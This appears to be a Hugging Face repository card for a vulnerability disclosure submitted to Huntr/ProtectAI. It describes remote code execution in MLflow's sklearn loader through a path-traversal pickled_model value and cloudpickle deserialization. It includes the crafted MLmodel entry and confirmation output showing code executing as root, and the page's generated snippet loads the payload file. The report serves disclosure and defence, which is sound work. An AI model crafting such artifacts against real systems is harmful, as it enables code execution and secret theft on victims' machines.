Scikit-learn
mlflow
security
proof-of-concept
rce
path-traversal
cloudpickle
model-loading
huntr
protectai
Instructions to use 01data-ai/mlflow_f003_sklearn_pickled_model_path_traversal_rce with libraries, inference providers, notebooks, and local apps. Follow these links to get started.
- Libraries
- Scikit-learn
How to use 01data-ai/mlflow_f003_sklearn_pickled_model_path_traversal_rce with Scikit-learn:
from huggingface_hub import hf_hub_download import joblib model = joblib.load( hf_hub_download("01data-ai/mlflow_f003_sklearn_pickled_model_path_traversal_rce", "sklearn_model.joblib") ) # only load pickle files from sources you trust # read more about it here https://skops.readthedocs.io/en/stable/persistence.html - Notebooks
- Google Colab
- Kaggle
MLflow F003 sklearn pickled_model Path Traversal RCE
Payload repository for Huntr / ProtectAI triage.
Finding
MLflow sklearn flavor RCE via attacker-controlled pickled_model path traversal and cloudpickle deserialization.
Primary PoC
proof_f003.py
Vulnerable Model Structure
The PoC creates a crafted MLflow sklearn model artifact and an external payload directory.
The model's MLmodel contains:
flavors:
sklearn:
pickled_model: ../outside_payloads/external_evil.pkl
serialization_format: cloudpickle
MLflow joins the attacker-controlled pickled_model value with the local model path without enforcing containment. The resolved path escapes the model directory and points to an external cloudpickle payload.
Confirmed Behavior
Confirmed on MLflow 3.12.0.
The proof confirms:
pickled_model_traversal_value: ../outside_payloads/external_evil.pkl
is_outside_model_dir: True
Path 1 โ mlflow.sklearn.load_model()
Confirmed output includes:
calling mlflow.sklearn.load_model()...
F003_SKLEARN
sklearn_load_model_return_type: <class 'int'>
marker_sklearn_exists_after: True
marker_sklearn_content: uid=0(root) gid=0(root) groups=0(root)
Path 2 โ mlflow.pyfunc.load_model()
Confirmed output includes:
calling mlflow.pyfunc.load_model()...
F003_PYFUNC
pyfunc_load_model_return_type: <class 'mlflow.pyfunc.PyFuncModel'>
marker_pyfunc_exists_after: True
marker_pyfunc_content: uid=0(root) gid=0(root) groups=0(root)
This confirms attacker-controlled code execution through both the sklearn loader and the pyfunc dispatch path.
Why This Is Not Just Generic Pickle
The security issue is not merely that pickle/cloudpickle can execute code.
The issue is that MLflow trusts an attacker-controlled path from MLmodel metadata:
pickled_model: ../outside_payloads/external_evil.pkl
and resolves it without enforcing that the file remains inside the model artifact directory before deserializing it with cloudpickle.load().
Key Evidence Files
proof_f003.py
RAW/proof_f003_stdout.txt
RAW/proof_f003_stderr.txt
RAW/proof_f003_exit_code.txt
SRC/source_references_f003.txt
SOURCE_REFERENCES.md
ENVIRONMENT.txt
COMMANDS.md
REQUESTS_RESPONSES.md
SHA256SUMS.txt
Scope
Confirmed against:
Repository: mlflow/mlflow
Version: MLflow 3.12.0
Component: mlflow/sklearn/__init__.py
Primary APIs:
- mlflow.sklearn.load_model()
- mlflow.pyfunc.load_model()
Serialization format: cloudpickle
Impact
An attacker who can provide or influence an MLflow sklearn model artifact can execute arbitrary code when the victim loads the model.
Potential impact includes:
execution as the MLflow process user
environment variable and secret theft
model artifact theft or tampering
CI/CD compromise
model-serving or validation infrastructure compromise
This repository intentionally contains only MLflow F003 sklearn pickled_model path traversal RCE artifacts.
- Downloads last month
- -
Inference Providers NEW
This model isn't deployed by any Inference Provider. ๐ Ask for provider support